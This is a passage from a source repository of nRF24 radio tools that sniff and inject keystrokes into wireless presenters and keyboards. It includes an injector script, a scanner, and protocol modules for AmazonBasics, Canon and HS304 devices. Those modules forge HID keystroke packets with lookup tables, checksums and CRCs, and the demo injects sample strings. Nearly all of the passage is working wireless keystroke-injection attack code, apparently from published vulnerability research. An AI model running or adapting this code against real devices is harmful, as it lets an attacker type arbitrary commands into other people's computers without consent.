| timeout = float(common.args.timeout) / float(1000) 47 | 48 | # Parse the ping payload 49 | ping_payload = bytes.fromhex(common.args.ping_payload.replace(':', '')) 50 | 51 | # Format the ACK timeout and auto retry values 52 | ack_timeout = int(common.args.ack_timeout / 250) - 1 53 | ack_timeout = max(0, min(ack_timeout, 15)) 54 | retries = max(0, min(common.args.retries, 15)) 55 | 56 | # Sweep through the channels and decode ESB packets in pseudo-promiscuous mode 57 | last_ping = time.time() 58 | channel_index = 0 59 | while True: 60 | 61 | # Follow the target device if it changes channels 62 | if time.time() - last_ping > timeout: 63 | 64 | # First try pinging on the active channel 65 | if not common.radio.transmit_payload(ping_payload, ack_timeout, retries): 66 | 67 | # Ping failed on the active channel, so sweep through all available channels 68 | success = False 69 | for channel_index in range(len(common.channels)): 70 | common.radio.set_channel(common.channels[channel_index]) 71 | if common.radio.transmit_payload(ping_payload, ack_timeout, retries): 72 | 73 | # Ping successful, exit out of the ping sweep 74 | last_ping = time.time() 75 | logging.debug('Ping success on channel {0}'.format(common.channels[channel_index])) 76 | success = True 77 | break 78 | 79 | # Ping sweep failed 80 | if not success: logging.debug('Unable to ping {0}'.format(address_string)) 81 | 82 | # Ping succeeded on the active channel 83 | else: 84 | logging.debug('Ping success on channel {0}'.format(common.channels[channel_index])) 85 | last_ping = time.time() 86 | 87 | # Receive payloads 88 | value = common.radio.receive_payload() 89 | if value[0] == 0: 90 | 91 | # Reset the channel timer 92 | last_ping = time.time() 93 | 94 | # Split the payload from the status byte 95 | payload = value[1:] 96 | 97 | # Log the packet 98 | logging.info('{0: >2} {1: >2} {2} {3}'.format( 99 | common.channels[channel_index], 100 | len(payload), 101 | address_string, 102 | ':'.join('{:02X}'.format(b) for b in payload))) 103 | 104 | -------------------------------------------------------------------------------- /tools/preso-injector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import time, logging, crcmod, struct 4 | from lib import common 5 | from protocols import * 6 | 7 | # Parse command line arguments and initialize the radio 8 | common.init_args('./nrf24-scanner.py') 9 | common.parser.add_argument('-a', '--address', type=str, help='Target address') 10 | common.parser.add_argument('-f', '--family', required=True, type=Protocols, choices=list(Protocols), help='Protocol family') 11 | common.parse_and_init() 12 | 13 | # Parse the address 14 | address = '' 15 | if common.args.address is not None: 16 | address = bytes.fromhex(common.args.address.replace(':', ''))[::-1] 17 | address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) 18 | 19 | # Initialize the target protocol 20 | if common.args.family == Protocols.HS304: 21 | p = HS304() 22 | elif common.args.family == Protocols.Canon: 23 | p = Canon() 24 | elif common.args.family == Protocols.TBBSC: 25 | if len(address) != 3: 26 | raise Exception('Invalid address: {0}'.format(common.args.address)) 27 | p = TBBSC(address) 28 | elif common.args.family == Protocols.RII: 29 | if len(address) != 5: 30 | raise Exception('Invalid address: {0}'.format(common.args.address)) 31 | p = RII(address) 32 | elif common.args.family == Protocols.AmazonBasics: 33 | if len(address) != 5: 34 | raise Exception('Invalid address: {0}'.format(common.args.address)) 35 | p = AmazonBasics(address) 36 | elif common.args.family == Protocols.Logitech: 37 | if len(address) != 5: 38 | raise Exception('Invalid address: {0}'.format(common.args.address)) 39 | p = Logitech(address) 40 | if common.args.family == Protocols.LogitechEncrypted: 41 | if len(address) != 5: 42 | raise Exception('Invalid address: {0}'.format(common.args.address)) 43 | p = Logitech(address, encrypted=True) 44 | 45 | # Initialize the injector instance 46 | i = Injector(p, KEYMAP_GERMAN) 47 | import time 48 | 49 | # Inject some sample strings 50 | i.start_injection() 51 | i.inject_string("abcdefghijklmnopqrstuvwxyz") 52 | i.send_enter() 53 | i.inject_string("ABCDEFGHIJKLMNOPQRSTUVWXYZ") 54 | i.send_enter() 55 | i.inject_string("`~-_=+[{]}\\|;:'\",<.>/?") 56 | i.send_enter() 57 | i.stop_injection() 58 | 59 | -------------------------------------------------------------------------------- /tools/preso-scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import time, logging, crcmod, struct 4 | from lib import common 5 | from protocols import * 6 | 7 | # Parse command line arguments and initialize the radio 8 | common.init_args('./nrf24-scanner.py') 9 | common.parser.add_argument('-p', '--prefix', type=str, help='Promiscuous mode address prefix', default='') 10 | common.parser.add_argument('-t', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='100') 11 | common.parser.add_argument('-d', '--data_rate', type=str, help='Data rate (accepts [250K, 1M, 2M])', default='2M', choices=["250K", "1M", "2M"], metavar='RATE') 12 | common.parser.add_argument('-f', '--family', required=True, type=Protocols, choices=list(Protocols), help='Protocol family') 13 | common.parse_and_init() 14 | 15 | # Initialize the target protocol 16 | if common.args.family == Protocols.HS304: 17 | p = HS304() 18 | else: 19 | raise Exception("Protocol does not support sniffer/scanner: %s" % common.args.family) 20 | 21 | # Start device discovery 22 | p.start_discovery() 23 | while True: 24 | pass 25 | -------------------------------------------------------------------------------- /tools/protocols/__init__.py: -------------------------------------------------------------------------------- 1 | from .hs304 import * 2 | from .canon import * 3 | from .amazon import * 4 | from .tbbsc import * 5 | from .rii import * 6 | from .logitech import * 7 | from .inateck_wp1001 import * 8 | from .inateck_wp2002 import * 9 | from .injector import * 10 | from .protocols import * 11 | -------------------------------------------------------------------------------- /tools/protocols/amazon.py: -------------------------------------------------------------------------------- 1 | from .protocol import Protocol 2 | from lib import common 3 | from collections import deque 4 | from threading import Thread 5 | import time 6 | import logging 7 | 8 | 9 | class AmazonBasics(Protocol): 10 | """AmazonBasics wireless presenter""" 11 | 12 | def __init__(self, address): 13 | """Constructor""" 14 | 15 | self.address = address 16 | 17 | super(AmazonBasics, self).__init__("AmazonBasics") 18 | 19 | def configure_radio(self): 20 | """Configure the radio""" 21 | 22 | # Put the radio in sniffer mode 23 | common.radio.enter_sniffer_mode(self.address) 24 | 25 | # Set the channels to {2..76..1} 26 | common.channels = range(2, 76, 1) 27 | 28 | # Set the initial channel 29 | common.radio.set_channel(common.channels[0]) 30 | 31 | def send_hid_event(self, scan_code=0, modifiers=0): 32 | """Send HID event""" 33 | 34 | # Build and enqueue the payload 35 | payload = ("%02x:00:%02x:00:00:00:00:00:01" % (modifiers, scan_code)).replace(":", "").decode("hex") 36 | self.tx_queue.append(payload) 37 | 38 | def start_injection(self): 39 | """Enter injection mode""" 40 | 41 | # Start the TX loop 42 | self.cancel_tx_loop = False 43 | self.tx_queue = deque() 44 | self.tx_thread = Thread(target=self.tx_loop) 45 | self.tx_thread.daemon = True 46 | self.tx_thread.start() 47 | 48 | def tx_loop(self): 49 | """TX loop""" 50 | 51 | # Channel timeout 52 | timeout = 0.1 # 100ms 53 | 54 | # Parse the ping payload 55 | ping_payload = "\x00" 56 | 57 | # Format the ACK timeout and auto retry values 58 | ack_timeout = 1 # 500ms 59 | retries = 4 60 | 61 | # Sweep through the channels and decode ESB packets 62 | last_ping = time.time() 63 | channel_index = 0 64 | address_string = ':'.join("%02X" % ord(c) for c in self.address[::-1]) 65 | while not self.cancel_tx_loop: 66 | 67 | # Follow the target device if it changes channels 68 | if time.time() - last_ping > timeout: 69 | 70 | # First try pinging on the active channel 71 | if not common.radio.transmit_payload(ping_payload, ack_timeout, retries): 72 | 73 | # Ping failed on the active channel, so sweep through all available channels 74 | success = False 75 | for channel_index in range(len(common.channels)): 76 | common.radio.set_channel(common.channels[channel_index]) 77 | if common.radio.transmit_payload(ping_payload, ack_timeout, retries): 78 | 79 | # Ping successful, exit out of the ping sweep 80 | last_ping = time.time() 81 | logging.debug('Ping success on channel {0}'.format(common.channels[channel_index])) 82 | success = True 83 | break 84 | 85 | # Ping sweep failed 86 | if not success: 87 | logging.debug('Unable to ping {0}'.format(address_string)) 88 | 89 | # Ping succeeded on the active channel 90 | else: 91 | logging.debug('Ping success on channel {0}'.format(common.channels[channel_index])) 92 | last_ping = time.time() 93 | 94 | # Read from the queue 95 | if len(self.tx_queue): 96 | 97 | # Transmit the queued packet 98 | payload = self.tx_queue.popleft() 99 | if not common.radio.transmit_payload(payload, ack_timeout, retries): 100 | self.tx_queue.appendleft(payload) 101 | 102 | def stop_injection(self): 103 | """Leave injection mode""" 104 | 105 | while len(self.tx_queue): 106 | time.sleep(0.001) 107 | continue 108 | self.cancel_tx_loop = True 109 | self.tx_thread.join() 110 | -------------------------------------------------------------------------------- /tools/protocols/canon.py: -------------------------------------------------------------------------------- 1 | from .protocol import Protocol 2 | from lib import common 3 | from threading import Thread 4 | from collections import deque 5 | import time 6 | import logging 7 | import crcmod 8 | import struct 9 | 10 | 11 | # Canon wireless presenter 12 | class Canon(Protocol): 13 | 14 | # Constructor 15 | def __init__(self): 16 | super(Canon, self).__init__("Canon") 17 | 18 | self.CRC16 = crcmod.mkCrcFun(0x11021, initCrc=0x0000, rev=True, xorOut=0x0000) 19 | 20 | self.LUT = [0]*256 21 | lut = [0x0, 0x8, 0x4, 0xC, 0x2, 0xA, 0x6, 0xE, 0x1, 0x9, 0x5, 0xD, 0x3, 0xB, 0x7, 0xF] 22 | for x in range(256): 23 | b = lut.index(x>>4) | (lut.index(x&0xf)<< 4) 24 | self.LUT[x] = b 25 | print(x, b) 26 | 27 | self.seq = 0 28 | 29 | 30 | # Configure the radio 31 | def configure_radio(self): 32 | 33 | # Put the radio in promiscuous mode 34 | common.radio.enter_promiscuous_mode_generic("\xAC\xC5\x05", common.RF_RATE_1M, payload_length=32) 35 | 36 | # Set the channels to {6..81..5} 37 | common.channels = range(6, 81, 5) 38 | 39 | # Set the initial channel 40 | common.radio.set_channel(common.channels[0]) 41 | 42 | 43 | # Build a packet 44 | def build_packet(self, scan_code=0, shift=False, ctrl=False, win=False): 45 | 46 | # Build the HID payload 47 | pld = ("09:22:00:%02x:00:00:00:%02x:00:00:00:00"%(scan_code, self.seq&0xff)).replace(":", "").decode("hex") 48 | self.seq += 1 49 | 50 | # Add the modifier flags 51 | modifiers = 0x00 52 | if shift: modifiers |= 0x20 53 | if ctrl: modifiers |= 0x01 54 | if win: modifiers |= 0x08 55 | idx = 2 56 | pld = pld[0:idx] + chr(modifiers) + pld[idx+1:] 57 | 58 | # Update the 1-byte checksum 59 | pld = pld[0:9] + chr(sum([ord(p) for p in pld[0:9]])&0xFF) + pld[10:] 60 | 61 | # Update the CRC-16 62 | pld = pld[:10] + struct.pack("H", self.CRC16(pld[0:10])) 63 | 64 | # Whiten the payload 65 | pld = [self.LUT.index(ord(c)) for c in pld] 66 | 67 | return pld 68 | 69 | 70 | # Enter injection mode 71 | def start_injection(self): 72 | 73 | # Build a dummy HID payload 74 | self.seq = 0 75 | pld = "09:22:00:00:00:00:00:00:00:00:00:00".replace(":", "").decode("hex") 76 | pld = pld[0:9] + chr(sum([ord(p) for p in pld[0:9]])&0xFF) + pld[10:] 77 | pld = pld[:10] + struct.pack("H", self.CRC16(pld[0:10])) 78 | pld = [self.LUT.index(ord(c)) for c in pld] 79 | self.dummy_pld = pld 80 | self.seq += 1 81 | 82 | # Start the TX loop 83 | self.cancel_tx_loop = False 84 | self.tx_queue = deque() 85 | self.tx_thread = Thread(target=self.tx_loop) 86 | self.tx_thread.daemon = True 87 | self.tx_thread.start() 88 | 89 | # Queue up 50 dummy packets for initial dongle sync 90 | for x in range(50): 91 | self.tx_queue.append(self.dummy_pld) 92 | 93 | 94 | # TX loop 95 | def tx_loop(self): 96 | 97 | while not self.cancel_tx_loop: 98 | 99 | # Read from the queue 100 | if len(self.tx_queue): 101 | 102 | # Transmit the queued packet a bunch of times 103 | payload = self.tx_queue.popleft() 104 | for x in range(25): 105 | common.radio.transmit_payload_generic(address="\xAA\xAA\xAA", 106 | payload="\xAC\xC5\x05"+''.join(chr(c) for c in payload)+"\xff\xff") 107 | 108 | # No queue items; transmit a dummy packet 109 | else: 110 | self.tx_queue.append(self.build_packet(0, False, False, False)) 111 | 112 | 113 | # Leave injection mode 114 | def stop_injection(self): 115 | while len(self.tx_queue): 116 | time.sleep(0.001) 117 | continue 118 | self.cancel_tx_loop = True 119 | self.tx_thread.join() 120 | 121 | 122 | # Send a HID event 123 | def send_hid_event(self, scan_code=0, shift=False, ctrl=False, win=False): 124 | 125 | # Build and queue 126 | self.tx_queue.append(self.build_packet(scan_code, shift, ctrl, win)) 127 | -------------------------------------------------------------------------------- /tools/protocols/hs304.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import crcmod 5 | import logging 6 | import struct 7 | import time 8 | 9 | from .protocol import Protocol 10 | from lib import common 11 | 12 | TRANSMIT_DELAY = 0.002 13 | 14 | class HS304(Protocol): 15 | """ HS304 keyboard/mouse transceiver""" 16 | 17 | # HS304 devices analyzed by Marc Newlin 18 | flavor1 = {"magic": b"\x31\x78", 19 | "crc8": True, 20 | "crc8_init": 0x1d} 21 | 22 | # BEBONCOOL wireless presenter analyzed by Matthias Deeg 23 | # there is a CRC8, but its value doesn't matter 24 | flavor2 = {"magic": b"\x94\x54", 25 | "crc8": True, 26 | "crc8_init": 0x59} 27 | 28 | # Red Star Tec wireless presenter analyzed by Matthias Deeg 29 | # there is a static value which doesn't matter 30 | flavor3 = {"magic": b"\xD2\x43", 31 | "crc8": False, 32 | "crc8_init": 0x88} 33 | 34 | # flavors of analyzed HS304 devices 35 | flavors = {"hs304_common": flavor1, 36 | "hs304_beboncool_eu": flavor2, 37 | "hs304_red_star_tec_eu": flavor3} 38 | 39 | # Lookup table for payload byte 0 (Keyboard HID byte 2) 40 | LUT0 = [[0xa1, 0x21, 0xe1, 0x61, 0x81, 0x01, 0xc1, 0x41, 0xb1, 0x31, 0xf1, 0x71, 0x91, 0x11, 0xd1, 0x51, 0xa9, 0x29, 0xe9, 0x69, 0x89, 0x09, 0xc9, 0x49, 0xb9, 0x39, 0xf9, 0x79, 0x99, 0x19, 0xd9, 0x59, 0xa5, 0x25, 0xe5, 0x65, 0x85, 0x05, 0xc5, 0x45, 0xb5, 0x35, 0xf5, 0x75, 0x95, 0x15, 0xd5, 0x55, 0xad, 0x2d, 0xed, 0x6d, 0x8d, 0x0d, 0xcd, 0x4d, 0xbd, 0x3d, 0xfd, 0x7d, 0x9d, 0x1d, 0xdd, 0x5d, 0xa3, 0x23, 0xe3, 0x63, 0x83, 0x03, 0xc3, 0x43, 0xb3, 0x33, 0xf3, 0x73, 0x93, 0x13, 0xd3, 0x53, 0xab, 0x2b, 0xeb, 0x6b, 0x8b, 0x0b, 0xcb, 0x4b, 0xbb, 0x3b, 0xfb, 0x7b, 0x9b, 0x1b, 0xdb, 0x5b, 0xa7, 0x27, 0xe7, 0x67, 0x87, 0x07, 0xc7, 0x47, 0xb7, 0x37, 0xf7, 0x77, 0x97, 0x17, 0xd7, 0x57, 0xaf, 0x2f, 0xef, 0x6f, 0x8f, 0x0f, 0xcf, 0x4f, 0xbf, 0x3f, 0xff, 0x7f, 0x9f, 0x1f, 0xdf, 0x5f, 0xa0, 0x20, 0xe0, 0x60, 0x80, 0x00, 0xc0, 0x40, 0xb0, 0x30, 0xf0, 0x70, 0x90, 0x10, 0xd0, 0x50, 0xa8, 0x28, 0xe8, 0x68, 0x88, 0x08, 0xc8, 0x48, 0xb8, 0x38, 0xf8, 0x78, 0x98, 0x18, 0xd8, 0x58, 0xa4, 0x24, 0xe4, 0x64, 0x84, 0x04, 0xc4, 0x44, 0xb4, 0x34, 0xf4, 0x74, 0x94, 0x14, 0xd4, 0x54, 0xac, 0x2c, 0xec, 0x6c, 0x8c, 0x0c, 0xcc, 0x4c, 0xbc, 0x3c, 0xfc, 0x7c, 0x9c, 0x1c, 0xdc, 0x5c, 0xa2, 0x22, 0xe2, 0x62, 0x82, 0x02, 0xc2, 0x42, 0xb2, 0x32, 0xf2, 0x72, 0x92, 0x12, 0xd2, 0x52, 0xaa, 0x2a, 0xea, 0x6a, 0x8a, 0x0a, 0xca, 0x4a, 0xba, 0x3a, 0xfa, 0x7a, 0x9a, 0x1a, 0xda, 0x5a, 0xa6, 0x26, 0xe6, 0x66, 0x86, 0x06, 0xc6, 0x46, 0xb6, 0x36, 0xf6, 0x76, 0x96, 0x16, 0xd6, 0x56, 0xae, 0x2e, 0xee, 0x6e, 0x8e, 0x0e, 0xce, 0x4e, 0xbe, 0x3e, 0xfe, 0x7e, 0x9e, 0x1e, 0xde, 0x5e].index(x) for x in range(256)] 41 | 42 | # Lookup table for payload byte 3 (Mouse HID byte 0) 43 | LUT3 = [[0x66, 0xe6, 0x26, 0xa6, 0x46, 0xc6, 0x06, 0x86, 0x76, 0xf6, 0x36, 0xb6, 0x56, 0xd6, 0x16, 0x96, 0x6e, 0xee, 0x2e, 0xae, 0x4e, 0xce, 0x0e, 0x8e, 0x7e, 0xfe, 0x3e, 0xbe, 0x5e, 0xde, 0x1e, 0x9e, 0x62, 0xe2, 0x22, 0xa2, 0x42, 0xc2, 0x02, 0x82, 0x72, 0xf2, 0x32, 0xb2, 0x52, 0xd2, 0x12, 0x92, 0x6a, 0xea, 0x2a, 0xaa, 0x4a, 0xca, 0x0a, 0x8a, 0x7a, 0xfa, 0x3a, 0xba, 0x5a, 0xda, 0x1a, 0x9a, 0x64, 0xe4, 0x24, 0xa4, 0x44, 0xc4, 0x04, 0x84, 0x74, 0xf4, 0x34, 0xb4, 0x54, 0xd4, 0x14, 0x94, 0x6c, 0xec, 0x2c, 0xac, 0x4c, 0xcc, 0x0c, 0x8c, 0x7c, 0xfc, 0x3c, 0xbc, 0x5c, 0xdc, 0x1c, 0x9c, 0x60, 0xe0, 0x20, 0xa0, 0x40, 0xc0, 0x00, 0x80, 0x70, 0xf0, 0x30, 0xb0, 0x50, 0xd0, 0x10, 0x90, 0x68, 0xe8, 0x28, 0xa8, 0x48, 0xc8, 0x08, 0x88, 0x78, 0xf8, 0x38, 0xb8, 0x58, 0xd8, 0x18, 0x98, 0x67, 0xe7, 0x27, 0xa7, 0x47, 0xc7, 0x07, 0x87, 0x77, 0xf7, 0x37, 0xb7, 0x57, 0xd7, 0x17, 0x97, 0x6f, 0xef, 0x2f, 0xaf, 0x4f, 0xcf, 0x0f, 0x8f, 0x7f, 0xff, 0x3f, 0xbf, 0x5f, 0xdf, 0x1f, 0x9f, 0x63, 0xe3, 0x23, 0xa3, 0x43, 0xc3, 0x03, 0x83, 0x73, 0xf3, 0x33, 0xb3, 0x53, 0xd3, 0x13, 0x93, 0x6b, 0xeb, 0x2b, 0xab, 0x4b, 0xcb, 0x0b, 0x8b, 0x7b, 0xfb, 0x3b, 0xbb, 0x5b, 0xdb, 0x1b, 0x9b, 0x65, 0xe5, 0x25, 0xa5, 0x45, 0xc5, 0x05, 0x85, 0x75, 0xf5, 0x35, 0xb5, 0x55, 0xd5, 0x15, 0x95, 0x6d, 0xed, 0x2d, 0xad, 0x4d, 0xcd, 0x0d, 0x8d, 0x7d, 0xfd, 0x3d, 0xbd, 0x5d, 0xdd, 0x1d, 0x9d, 0x61, 0xe1, 0x21, 0xa1, 0x41, 0xc1, 0x01, 0x81, 0x71, 0xf1, 0x31, 0xb1, 0x51, 0xd1, 0x11, 0x91, 0x69, 0xe9, 0x29, 0xa9, 0x49, 0xc9, 0x09, 0x89, 0x79, 0xf9, 0x39, 0xb9, 0x59, 0xd9, 0x19, 0x99].index(x) for x in range(256)] 44 | 45 | # Lookup table for payload byte 4 (Mouse HID byte 1) 46 | LUT4 = [[0xb1, 0x31, 0xf1, 0x71, 0x91, 0x11, 0xd1, 0x51, 0xa1, 0x21, 0xe1, 0x61, 0x81, 0x00, 0xc1, 0x41, 0xb9, 0x39, 0xf9, 0x79, 0x99, 0x19, 0xd9, 0x59, 0xa9, 0x29, 0xe9, 0x69, 0x89, 0x09, 0xc9, 0x49, 0xb5, 0x35, 0xf5, 0x75, 0x95, 0x15, 0xd5, 0x55, 0xa5, 0x25, 0xe5, 0x65, 0x85, 0x05, 0xc5, 0x45, 0xbd, 0x3d, 0xfd, 0x7d, 0x9d, 0x1d, 0xdd, 0x5d, 0xad, 0x2d, 0xed, 0x6d, 0x8d, 0x0d, 0xcd, 0x4d, 0xb3, 0x33, 0xf3, 0x73, 0x93, 0x13, 0xd3, 0x53, 0xa3, 0x23, 0xe3, 0x63, 0x83, 0x03, 0xc3, 0x43, 0xbb, 0x3b, 0xfb, 0x7b, 0x9b, 0x1b, 0xdb, 0x5b, 0xab, 0x2b, 0xeb, 0x6b, 0x8b, 0x0b, 0xcb, 0x4b, 0xb7, 0x37, 0xf7, 0x77, 0x97, 0x17, 0xd7, 0x57, 0xa7, 0x27, 0xe7, 0x67, 0x87, 0x07, 0xc7, 0x47, 0xbf, 0x3f, 0xff, 0x7f, 0x9f, 0x1f, 0xdf, 0x5f, 0xaf, 0x2f, 0xef, 0x6f, 0x8f, 0x0f, 0xcf, 0x4f, 0xb0, 0x30, 0xf0, 0x70, 0x90, 0x10, 0xd0, 0x50, 0xa0, 0x20, 0xe0, 0x60, 0x80, 0x01, 0xc0, 0x40, 0xb8, 0x38, 0xf8, 0x78, 0x98, 0x18, 0xd8, 0x58, 0xa8, 0x28, 0xe8, 0x68, 0x88, 0x08, 0xc8, 0x48, 0xb4, 0x34, 0xf4, 0x74, 0x94, 0x14, 0xd4, 0x54, 0xa4, 0x24, 0xe4, 0x64, 0x84, 0x04, 0xc4, 0x44, 0xbc, 0x3c, 0xfc, 0x7c, 0x9c, 0x1c, 0xdc, 0x5c, 0xac, 0x2c, 0xec, 0x6c, 0x8c, 0x0c, 0xcc, 0x4c, 0xb2, 0x32, 0xf2, 0x72, 0x92, 0x12, 0xd2, 0x52, 0xa2, 0x22, 0xe2, 0x62, 0x82, 0x02, 0xc2, 0x42, 0xba, 0x3a, 0xfa, 0x7a, 0x9a, 0x1a, 0xda, 0x5a, 0xaa, 0x2a, 0xea, 0x6a, 0x8a, 0x0a, 0xca, 0x4a, 0xb6, 0x36, 0xf6, 0x76, 0x96, 0x16, 0xd6, 0x56, 0xa6, 0x26, 0xe6, 0x66, 0x86, 0x06, 0xc6, 0x46, 0xbe, 0x3e, 0xfe, 0x7e, 0x9e, 0x1e, 0xde, 0x5e, 0xae, 0x2e, 0xee, 0x6e, 0x8e, 0x0e, 0xce, 0x4e].index(x) for x in range(256)] 47 | 48 | # Lookup table for payload byte 5 (Mouse HID byte 2) 49 | LUT5 = [[0x75, 0xf5, 0x35, 0xb5, 0x55, 0xd5, 0x15, 0x95, 0x65, 0xe5, 0x25, 0xa5, 0x45, 0xc5, 0x05, 0x85, 0x7d, 0xfd, 0x3d, 0xbd, 0x5d, 0xdd, 0x1d, 0x9d, 0x6d, 0xed, 0x2d, 0xad, 0x4d, 0xcd, 0x0d, 0x8d, 0x71, 0xf1, 0x31, 0xb1, 0x51, 0xd1, 0x11, 0x91, 0x61, 0xe1, 0x21, 0xa1, 0x41, 0xc1, 0x01, 0x81, 0x79, 0xf9, 0x39, 0xb9, 0x59, 0xd9, 0x19, 0x99, 0x69, 0xe9, 0x29, 0xa9, 0x49, 0xc9, 0x09, 0x89, 0x77, 0xf7, 0x37, 0xb7, 0x57, 0xd7, 0x17, 0x97, 0x67, 0xe7, 0x27, 0xa7, 0x47, 0xc7, 0x07, 0x87, 0x7f, 0xff, 0x3f, 0xbf, 0x5f, 0xdf, 0x1f, 0x9f, 0x6f, 0xef, 0x2f, 0xaf, 0x4f, 0xcf, 0x0f, 0x8f, 0x73, 0xf3, 0x33, 0xb3, 0x53, 0xd3, 0x13, 0x93, 0x63, 0xe3, 0x23, 0xa3, 0x43, 0xc3, 0x03, 0x83, 0x7b, 0xfb, 0x3b, 0xbb, 0x5b, 0xdb, 0x1b, 0x9b, 0x6b, 0xeb, 0x2b, 0xab, 0x4b, 0xcb, 0x0b, 0x8b, 0x74, 0xf4, 0x34, 0xb4, 0x54, 0xd4, 0x14, 0x94, 0x64, 0xe4, 0x24, 0xa4, 0x44, 0xc4, 0x04, 0x84, 0x7c, 0xfc, 0x3c, 0xbc, 0x5c, 0xdc, 0x1c, 0x9c, 0x6c, 0xec, 0x2c, 0xac, 0x4c, 0xcc, 0x0c, 0x8c, 0x70, 0xf0, 0x30, 0xb0, 0x50, 0xd0, 0x10, 0x90, 0x60, 0xe0, 0x20, 0xa0, 0x40, 0xc0, 0x00, 0x80, 0x78, 0xf8, 0x38, 0xb8, 0x58, 0xd8, 0x18, 0x98, 0x68, 0xe8, 0x28, 0xa8, 0x48, 0xc8, 0x08, 0x88, 0x76, 0xf6, 0x36, 0xb6, 0x56, 0xd6, 0x16, 0x96, 0x66, 0xe6, 0x26, 0xa6, 0x46, 0xc6, 0x06, 0x86, 0x7e, 0xfe, 0x3e, 0xbe, 0x5e, 0xde, 0x1e, 0x9e, 0x6e, 0xee, 0x2e, 0xae, 0x4e, 0xce, 0x0e, 0x8e, 0x72, 0xf2, 0x32, 0xb2, 0x52, 0xd2, 0x12, 0x92, 0x62, 0xe2, 0x22, 0xa2, 0x42, 0xc2, 0x02, 0x82, 0x7a, 0xfa, 0x3a, 0xba, 0x5a, 0xda, 0x1a, 0x9a, 0x6a, 0xea, 0x2a, 0xaa, 0x4a, 0xca, 0x0a, 0x8a].index(x) for x in range(256)] 50 | 51 | # Lookup table for payload byte 6 (Keyboard HID byte 1) 52 | LUT6 = [[0x31, 0xb1, 0x71, 0xf1, 0x11, 0x91, 0x51, 0xd1, 0x21, 0xa1, 0x61, 0xe1, 0x01, 0x81, 0x41, 0xc1, 0x39, 0xb9, 0x79, 0xf9, 0x19, 0x99, 0x59, 0xd9, 0x29, 0xa9, 0x69, 0xe9, 0x09, 0x89, 0x49, 0xc9, 0x35, 0xb5, 0x75, 0xf5, 0x15, 0x95, 0x55, 0xd5, 0x25, 0xa5, 0x65, 0xe5, 0x05, 0x85, 0x45, 0xc5, 0x3d, 0xbd, 0x7d, 0xfd, 0x1d, 0x9d, 0x5d, 0xdd, 0x2d, 0xad, 0x6d, 0xed, 0x0d, 0x8d, 0x4d, 0xcd, 0x33, 0xb3, 0x73, 0xf3, 0x13, 0x93, 0x53, 0xd3, 0x23, 0xa3, 0x63, 0xe3, 0x03, 0x83, 0x43, 0xc3, 0x3b, 0xbb, 0x7b, 0xfb, 0x1b, 0x9b, 0x5b, 0xdb, 0x2b, 0xab, 0x6b, 0xeb, 0x0b, 0x8b, 0x4b, 0xcb, 0x37, 0xb7, 0x77, 0xf7, 0x17, 0x97, 0x57, 0xd7, 0x27, 0xa7, 0x67, 0xe7, 0x07, 0x87, 0x47, 0xc7, 0x3f, 0xbf, 0x7f, 0xff, 0x1f, 0x9f, 0x5f, 0xdf, 0x2f, 0xaf, 0x6f, 0xef, 0x0f, 0x8f, 0x4f, 0xcf, 0x30, 0xb0, 0x70, 0xf0, 0x10, 0x90, 0x50, 0xd0, 0x20, 0xa0, 0x60, 0xe0, 0x00, 0x80, 0x40, 0xc0, 0x38, 0xb8, 0x78, 0xf8, 0x18, 0x98, 0x58, 0xd8, 0x28, 0xa8, 0x68, 0xe8, 0x08, 0x88, 0x48, 0xc8, 0x34, 0xb4, 0x74, 0xf4, 0x14, 0x94, 0x54, 0xd4, 0x24, 0xa4, 0x64, 0xe4, 0x04, 0x84, 0x44, 0xc4, 0x3c, 0xbc, 0x7c, 0xfc, 0x1c, 0x9c, 0x5c, 0xdc, 0x2c, 0xac, 0x6c, 0xec, 0x0c, 0x8c, 0x4c, 0xcc, 0x32, 0xb2, 0x72, 0xf2, 0x12, 0x92, 0x52, 0xd2, 0x22, 0xa2, 0x62, 0xe2, 0x02, 0x82, 0x42, 0xc2, 0x3a, 0xba, 0x7a, 0xfa, 0x1a, 0x9a, 0x5a, 0xda, 0x2a, 0xaa, 0x6a, 0xea, 0x0a, 0x8a, 0x4a, 0xca, 0x36, 0xb6, 0x76, 0xf6, 0x16, 0x96, 0x56, 0xd6, 0x26, 0xa6, 0x66, 0xe6, 0x06, 0x86, 0x46, 0xc6, 0x3e, 0xbe, 0x7e, 0xfe, 0x1e, 0x9e, 0x5e, 0xde, 0x2e, 0xae, 0x6e, 0xee, 0x0e, 0x8e, 0x4e, 0xce].index(x) for x in range(256)] 53 | 54 | def __init__(self, flavor="hs304_common"): 55 | """Constructor""" 56 | 57 | # initialize protocol 58 | super(HS304, self).__init__("HS304") 59 | 60 | # get configuration depending on flavor 61 | self.config = HS304.flavors[flavor] 62 | 63 | # Initialize CRC generators 64 | self.CRC16 = crcmod.mkCrcFun(0x11021, initCrc=0x422e, rev=False, xorOut=0x0000) 65 | self.CRC8 = crcmod.mkCrcFun(0x101, initCrc=self.config["crc8_init"], rev=False, xorOut=0x00) 66 | 67 | def configure_radio(self): 68 | """Configure the radio""" 69 | 70 | # Put the radio in promiscuous mode with static 4 byte address 71 | common.radio.enter_promiscuous_mode_generic(b"\x44\x75\x94\xE1", rate=common.RF_RATE_1M) 72 | 73 | # Set the channel to 7 74 | common.channels = [7] 75 | 76 | # Set the initial channel 77 | common.radio.set_channel(common.channels[0]) 78 | 79 | def send_hid_event(self, scan_code=0, modifiers=0): 80 | """Send a HID keystroke packet""" 81 | 82 | # Sync word 83 | sync = b"\x44\x75\x94\xE1" 84 | 85 | # Mouse X/Y and button flags 86 | mouse_y = 0 87 | mouse_x = 0 88 | mouse_b = 0 89 | 90 | # Create payload 91 | payload = struct.pack("7B", 92 | HS304.LUT0[scan_code], # keyboard scan code 93 | self.config["magic"][0], # magic byte 1 94 | self.config["magic"][1], # magic byte 2 95 | HS304.LUT3[mouse_b], # mouse buttons 96 | HS304.LUT4[mouse_x], # mouse x 97 | HS304.LUT5[mouse_y], # mouse y 98 | HS304.LUT6[modifiers]) # modifiers 99 | 100 | # set last HS304 payload byte 101 | p = sync + payload 102 | if self.config["crc8"]: 103 | # Append CRC-8 104 | p += struct.pack("B", self.CRC8(p)) 105 | else: 106 | # Or further static magic value 